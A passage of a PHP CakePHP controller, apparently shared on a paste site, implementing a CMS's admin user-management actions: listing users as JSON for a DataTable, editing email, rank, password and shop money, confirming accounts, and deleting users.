  1191. $this->response->type('json');
  1192.  
  1193.  
  1194.  
  1195. if ($this->request->is('ajax')) {
  1196.  
  1197.  
  1198.  
  1199. $available_ranks = array(
  1200.  
  1201. 0 => array('label' => 'success', 'name' => $this->Lang->get('USER__RANK_MEMBER')),
  1202.  
  1203. 2 => array('label' => 'warning', 'name' => $this->Lang->get('USER__RANK_MODERATOR')),
  1204.  
  1205. 3 => array('label' => 'danger', 'name' => $this->Lang->get('USER__RANK_ADMINISTRATOR')),
  1206.  
  1207. 4 => array('label' => 'danger', 'name' => $this->Lang->get('USER__RANK_ADMINISTRATOR')),
  1208.  
  1209. 5 => array('label' => 'primary', 'name' => $this->Lang->get('USER__RANK_BANNED'))
  1210.  
  1211. );
  1212.  
  1213. $this->loadModel('Rank');
  1214.  
  1215. $custom_ranks = $this->Rank->find('all');
  1216.  
  1217. foreach ($custom_ranks as $key => $value) {
  1218.  
  1219. $available_ranks[$value['Rank']['rank_id']] = array('label' => 'info', 'name' => $value['Rank']['name']);
  1220.  
  1221. }
  1222.  
  1223.  
  1224.  
  1225. $this->DataTable = $this->Components->load('DataTable');
  1226.  
  1227. $this->modelClass = 'User';
  1228.  
  1229. $this->DataTable->initialize($this);
  1230.  
  1231. $this->paginate = array(
  1232.  
  1233. 'fields' => array('User.id', 'User.pseudo', 'User.email', 'User.created', 'User.rank'),
  1234.  
  1235. );
  1236.  
  1237. $this->DataTable->mDataProp = true;
  1238.  
  1239.  
  1240.  
  1241. $response = $this->DataTable->getResponse();
  1242.  
  1243.  
  1244.  
  1245. $users = $response['aaData'];
  1246.  
  1247. $data = array();
  1248.  
  1249. foreach ($users as $key => $value) {
  1250.  
  1251.  
  1252.  
  1253. $username = $value['User']['pseudo'];
  1254.  
  1255. $date = 'Le ' . $this->Lang->date($value['User']['created']);
  1256.  
  1257.  
  1258.  
  1259. $rank_label = (isset($available_ranks[$value['User']['rank']])) ? $available_ranks[$value['User']['rank']]['label'] : $available_ranks[0]['label'];
  1260.  
  1261. $rank_name = (isset($available_ranks[$value['User']['rank']])) ? $available_ranks[$value['User']['rank']]['name'] : $available_ranks[0]['name'];
  1262.  
  1263. $rank = '<span class="label label-' . $rank_label . '">' . $rank_name . '</span>';
  1264.  
  1265.  
  1266.  
  1267. $btns = '<a href="' . Router::url(array('controller' => 'user', 'action' => 'edit/' . $value["User"]["id"], 'admin' => true)) . '" class="btn btn-info">' . $this->Lang->get('GLOBAL__EDIT') . '</a>';
  1268.  
  1269. $btns .= '&nbsp;<a onClick="confirmDel('' . Router::url(array('controller' => 'user', 'action' => 'delete/' . $value["User"]["id"], 'admin' => true)) . '')" class="btn btn-danger">' . $this->Lang->get('GLOBAL__DELETE') . '</button>';
  1270.  
  1271.  
  1272.  
  1273. $data[] = array(
  1274.  
  1275. 'User' => array(
  1276.  
  1277. 'pseudo' => $username,
  1278.  
  1279. 'email' => $value['User']['email'],
  1280.  
  1281. 'created' => $date,
  1282.  
  1283. 'rank' => $rank
  1284.  
  1285. ),
  1286.  
  1287. 'actions' => $btns
  1288.  
  1289. );
  1290.  
  1291.  
  1292.  
  1293. }
  1294.  
  1295.  
  1296.  
  1297. $response['aaData'] = $data;
  1298.  
  1299.  
  1300.  
  1301. $this->response->body(json_encode($response));
  1302.  
  1303.  
  1304.  
  1305. }
  1306.  
  1307. }
  1308.  
  1309. }
  1310.  
  1311.  
  1312.  
  1313. function admin_edit($search = false)
  1314.  
  1315. {
  1316.  
  1317. if ($this->isConnected AND $this->Permissions->can('MANAGE_USERS')) {
  1318.  
  1319. if ($search != false) {
  1320.  
  1321.  
  1322.  
  1323. $this->layout = 'admin';
  1324.  
  1325. $this->set('title_for_layout', $this->Lang->get('USER__EDIT_TITLE'));
  1326.  
  1327. $this->loadModel('User');
  1328.  
  1329. $find = $this->User->find('all', array('conditions' => $this->User->__makeCondition($search)));
  1330.  
  1331.  
  1332.  
  1333. if (!empty($find)) {
  1334.  
  1335. $search_user = $find[0]['User'];
  1336.  
  1337. $this->loadModel('History');
  1338.  
  1339. $findHistory = $this->History->getLastFromUser($search_user['id']);
  1340.  
  1341. $search_user['History'] = $this->History->format($findHistory, $this->Lang);
  1342.  
  1343.  
  1344.  
  1345. $options_ranks = array(
  1346.  
  1347. 0 => $this->Lang->get('USER__RANK_MEMBER'),
  1348.  
  1349. 2 => $this->Lang->get('USER__RANK_MODERATOR'),
  1350.  
  1351. 3 => $this->Lang->get('USER__RANK_ADMINISTRATOR'),
  1352.  
  1353. 4 => $this->Lang->get('USER__RANK_SUPER_ADMINISTRATOR'),
  1354.  
  1355. 5 => $this->Lang->get('USER__RANK_BANNED')
  1356.  
  1357. );
  1358.  
  1359. $this->loadModel('Rank');
  1360.  
  1361. $custom_ranks = $this->Rank->find('all');
  1362.  
  1363. foreach ($custom_ranks as $key => $value) {
  1364.  
  1365. $options_ranks[$value['Rank']['rank_id']] = $value['Rank']['name'];
  1366.  
  1367. }
  1368.  
  1369.  
  1370.  
  1371. if ($this->Configuration->getKey('confirm_mail_signup') && !empty($search_user['confirmed']) && date('Y-m-d H:i:s', strtotime($search_user['confirmed'])) != $search_user['confirmed']) {
  1372.  
  1373. $search_user['confirmed'] = false;
  1374.  
  1375. } else {
  1376.  
  1377. $search_user['confirmed'] = true;
  1378.  
  1379. }
  1380.  
  1381.  
  1382.  
  1383. $this->set(compact('options_ranks'));
  1384.  
  1385.  
  1386.  
  1387. $this->set(compact('search_user'));
  1388.  
  1389. } else {
  1390.  
  1391. throw new NotFoundException();
  1392.  
  1393. }
  1394.  
  1395. } else {
  1396.  
  1397. throw new NotFoundException();
  1398.  
  1399. }
  1400.  
  1401. } else {
  1402.  
  1403. $this->redirect('/');
  1404.  
  1405. }
  1406.  
  1407. }
  1408.  
  1409.  
  1410.  
  1411. function admin_confirm($user_id = false)
  1412.  
  1413. {
  1414.  
  1415. $this->autoRender = false;
  1416.  
  1417. if (isset($user_id) && $this->isConnected AND $this->Permissions->can('MANAGE_USERS')) {
  1418.  
  1419.  
  1420.  
  1421. $find = $this->User->find('first', array('conditions' => array('id' => $user_id)));
  1422.  
  1423.  
  1424.  
  1425. if (!empty($find)) {
  1426.  
  1427.  
  1428.  
  1429. $event = new CakeEvent('beforeConfirmAccount', $this, array('user_id' => $find['User']['id'], 'manual' => true));
  1430.  
  1431. $this->getEventManager()->dispatch($event);
  1432.  
  1433. if ($event->isStopped()) {
  1434.  
  1435. return $event->result;
  1436.  
  1437. }
  1438.  
  1439.  
  1440.  
  1441. $this->User->read(null, $find['User']['id']);
  1442.  
  1443. $this->User->set(array('confirmed' => date('Y-m-d H:i:s')));
  1444.  
  1445. $this->User->save();
  1446.  
  1447.  
  1448.  
  1449. $userSession = $find['User']['id'];
  1450.  
  1451.  
  1452.  
  1453. $this->redirect(array('action' => 'edit', $user_id));
  1454.  
  1455.  
  1456.  
  1457. } else {
  1458.  
  1459. throw new NotFoundException();
  1460.  
  1461. }
  1462.  
  1463.  
  1464.  
  1465. } else {
  1466.  
  1467. throw new NotFoundException();
  1468.  
  1469. }
  1470.  
  1471. }
  1472.  
  1473.  
  1474.  
  1475. function admin_edit_ajax()
  1476.  
  1477. {
  1478.  
  1479. $this->autoRender = false;
  1480.  
  1481. $this->response->type('json');
  1482.  
  1483. if ($this->isConnected && $this->Permissions->can('MANAGE_USERS')) {
  1484.  
  1485. if ($this->request->is('post')) {
  1486.  
  1487. $this->loadModel('User');
  1488.  
  1489. if (!empty($this->request->data['id']) && !empty($this->request->data['email']) && (!empty($this->request->data['rank']) || $this->request->data['rank'] == 0)) {
  1490.  
  1491.  
  1492.  
  1493. $findUser = $this->User->find('first', array('conditions' => array('id' => intval($this->request->data['id']))));
  1494.  
  1495.  
  1496.  
  1497. if (empty($findUser)) {
  1498.  
  1499. $this->response->body(json_encode(array('statut' => true, 'msg' => $this->Lang->get('USER__EDIT_ERROR_UNKNOWN'))));
  1500.  
  1501. return;
  1502.  
  1503. }
  1504.  
  1505.  
  1506.  
  1507. if ($findUser['User']['id'] == $this->User->getKey('id') && $this->request->data['rank'] != $this->User->getKey('rank')) {
  1508.  
  1509. $this->response->body(json_encode(array('statut' => true, 'msg' => $this->Lang->get('USER__EDIT_ERROR_YOURSELF'))));
  1510.  
  1511. return;
  1512.  
  1513. }
  1514.  
  1515.  
  1516.  
  1517. $data = array(
  1518.  
  1519. 'email' => $this->request->data['email'],
  1520.  
  1521. 'rank' => $this->request->data['rank']
  1522.  
  1523. );
  1524.  
  1525.  
  1526.  
  1527. if (!empty($this->request->data['password'])) {
  1528.  
  1529. $data['password'] = $this->Util->password($this->request->data['password'], $findUser['User']['pseudo']);
  1530.  
  1531. $password_updated = true;
  1532.  
  1533. } else {
  1534.  
  1535. $password_updated = false;
  1536.  
  1537. }
  1538.  
  1539.  
  1540.  
  1541. if ($this->EyPlugin->isInstalled('eywek.shop.1')) {
  1542.  
  1543. $data['money'] = $this->request->data['money'];
  1544.  
  1545. }
  1546.  
  1547.  
  1548.  
  1549. $event = new CakeEvent('beforeEditUser', $this, array('user_id' => $findUser['User']['id'], 'data' => $data, 'password_updated' => $password_updated));
  1550.  
  1551. $this->getEventManager()->dispatch($event);
  1552.  
  1553. if ($event->isStopped()) {
  1554.  
  1555. return $event->result;
  1556.  
  1557. }
  1558.  
  1559.  
  1560.  
  1561. $this->User->read(null, $findUser['User']['id']);
  1562.  
  1563. $this->User->set($data);
  1564.  
  1565. $this->User->save();
  1566.  
  1567.  
  1568.  
  1569. $this->History->set('EDIT_USER', 'user');
  1570.  
  1571. $this->Session->setFlash($this->Lang->get('USER__EDIT_SUCCESS'), 'default.success');
  1572.  
  1573. $this->response->body(json_encode(array('statut' => true, 'msg' => $this->Lang->get('USER__EDIT_SUCCESS'))));
  1574.  
  1575. } else {
  1576.  
  1577. $this->response->body(json_encode(array('statut' => false, 'msg' => $this->Lang->get('ERROR__FILL_ALL_FIELDS'))));
  1578.  
  1579. }
  1580.  
  1581. } else {
  1582.  
  1583. throw new NotFoundException();
  1584.  
  1585. }
  1586.  
  1587. } else {
  1588.  
  1589. throw new ForbiddenException();
  1590.  
  1591. }
  1592.  
  1593. }
  1594.  
  1595.  
  1596.  
  1597. function admin_delete($id = false)
  1598.  
  1599. {
  1600.  
  1601. $this->autoRender = false;
  1602.  
  1603. if ($this->isConnected AND $this->Permissions->can('MANAGE_USERS')) {
  1604.  
  1605. if ($id != false) {
  1606.  
  1607. $this->loadModel('User');
  1608.  
  1609. $find = $this->User->find('all', array('conditions' => array('id' => $id)));
  1610.  
  1611. if (!empty($find)) {
  1612.  
  1613.  
  1614.  
  1615. $event = new CakeEvent('beforeDeleteUser', $this, array('user' => $find['User']));
  1616.  
  1617. $this->getEventManager()->dispatch($event);
  1618.  
  1619. if ($event->isStopped()) {
  1620.  
  1621. return $event->result;
  1622.  
  1623. }
  1624.  
  1625.  
  1626.  
  1627. $this->User->delete($id);
  1628.  
  1629. $this->History->set('DELETE_USER', 'user');
  1630.  
  1631. $this->Session->setFlash($this->Lang->get('USER__DELETE_SUCCESS'), 'default.success');
  1632.  
  1633. $this->redirect(array('controller' => 'user', 'action' => 'index', 'admin' => true));
  1634.  
  1635. } else {
  1636.  
  1637. $this->Session->setFlash($this->Lang->get('UNKNONW_ID'), 'default.error');
  1638.  
  1639. $this->redirect(array('controller' => 'user', 'action' => 'index', 'admin' => true));
  1640.  
  1641. }
  1642.  
  1643. } else {
  1644.  
  1645. $this->redirect(array('controller' => 'user', 'action' => 'index', 'admin' => true));
  1646.  
  1647. }
  1648.  
  1649. } else {
  1650.  
  1651. $this->redirect('/');
  1652.  
  1653. }
  1654.  
  1655. }
  1656.  
  1657. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement